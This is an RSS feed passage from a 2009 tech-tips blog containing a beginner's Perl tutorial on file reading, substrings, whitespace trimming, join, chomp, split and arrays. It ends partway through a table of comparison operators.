<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; Perl &#8211; Coding Tips</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/perl-coding-tips/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Perl &#8211; Coding Tips</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:02:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Perl - Coding Tips]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=117</guid>
		<description><![CDATA[Introduction
This document covers the basic functionalities in perl. These include the following:
·         Open and read file
·         Substring
·         Trim white spaces
·         Join string with/out delimiter
·         Remove newline
·         Split into array [reading key value pair]
·         String comparison and numeric comparison 
·         Assign data in Hash or associative array and access the data
·         Write to and Close file
 
 
Open [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 11.25pt 10pt 1in;"><strong><span style="font-size: 10pt; color: #000066; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Introduction</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">This document covers the basic functionalities in perl. These include the following:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open and read file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substring</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Trim white spaces</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Join string with/out delimiter</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Remove newline</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Split into array [reading key value pair]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">String comparison and numeric comparison </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Assign data in Hash or associative array and access the data</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Write to and Close file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.25in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.25in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220659"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open and Read file</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To open and read a file, the read access to the file should be given. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;&lt;&#8221;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">File Identifier</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> – After opening the file, the file will be referenced with the file identifier.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&lt;</strong>’ – open a file in read mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">die</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> &#8211; If open of the file failed, the program will display the error message and abort</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$var=&lt; File identifier&gt;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">E.g.: <strong style="mso-bidi-font-weight: normal;">$var=’this is the first line of the file’</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Read the first record (first line) from the file. Variable $var will hold the first line of the file.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">@file_array=&lt;</span><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;"> File identifier<span style="color: black;"> &gt;</span></span><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">The contents of the file can be assigned to an array</span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220660"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substring</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$substr_var=substr &lt;string&gt;, &lt;start position&gt;, &lt;field length&gt;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Get a substring of the first record from the file. The first record is stored in the variable $var. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">In perl, the start position of a string is 0.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">E.g.: If we need to cut first 5 characters from $var, start position will be 0 and field length will be 5.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$substr_var=substr $var, 0, 5</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">So,<strong style="mso-bidi-font-weight: normal;"> $substr_var=’this ‘</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Note: Start position of a string in UNIX is 1. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220661"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Trim White Spaces</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from the end of the string (trailing spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/\s+$//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from the beginning of the string (leading spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/^\s+//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from anywhere in the string</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$string =~ s/\s+//g</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from end and beginning of the string (leading and trailing spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$test =~ s/^\s+|\s+$//g</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220662"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Join string with/out delimiter</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">Join “”, &lt;string 1&gt;, &lt;string2&gt; [Join without any delimiter]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Output</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">: &lt;string1&gt;&lt;string2&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">Join “,”, &lt;string 1&gt;, &lt;string2&gt; [Join with ‘,’ delimiter]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Output</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">: &lt;string1&gt;,&lt;string2&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220663"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Remove newline</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute newline with nothing from the end of the string</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/\n+$//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">chomp ($variable)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">If <span style="color: black;">variable</span> is a hash, it chomps the hash&#8217;s values, but not its keys</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220664"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Array [split on delimiter]</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold; mso-bidi-font-family: Arial;">Array</span></span><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> designated by @</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">@Arraytrial = (‘Trial’,’Array’)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">$# Arraytrial=1 [</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">largest index value] </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">To clean any array just set the largest index value to -1</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">$# Arraytrial = -1;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">String can be put into array splitting it on a delimiter</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">@</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';"> Arraytrial </span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">= <strong style="mso-bidi-font-weight: normal;">split</strong>(&#8217;,',$variable) [splitted on comma ‘,’]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"><span style="mso-tab-count: 1;">          </span>Split is an in built function which splits the string on the delimiter.</span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220665"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Data comparison</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">The comparison operator for numbers and strings are as follows:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<table class="MsoNormalTable" style="margin: auto auto auto 77.4pt; width: 6in; border-collapse: collapse; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 480; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext;" border="1" cellspacing="0" cellpadding="0" width="576">
<tbody>
<tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes;">
<td style="padding-right: 5.4pt; padding-left: 5.4pt; padding-bottom: 0in; width: 150.6pt; padding-top: 0in; background-color: transparent; mso-border-alt: solid windowtext .5pt; border: windowtext 1pt solid;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Compare<span style="mso-tab-count: 1;">        </span><span style="mso-tab-count: 1;">            </span></span></strong></p>
</td>
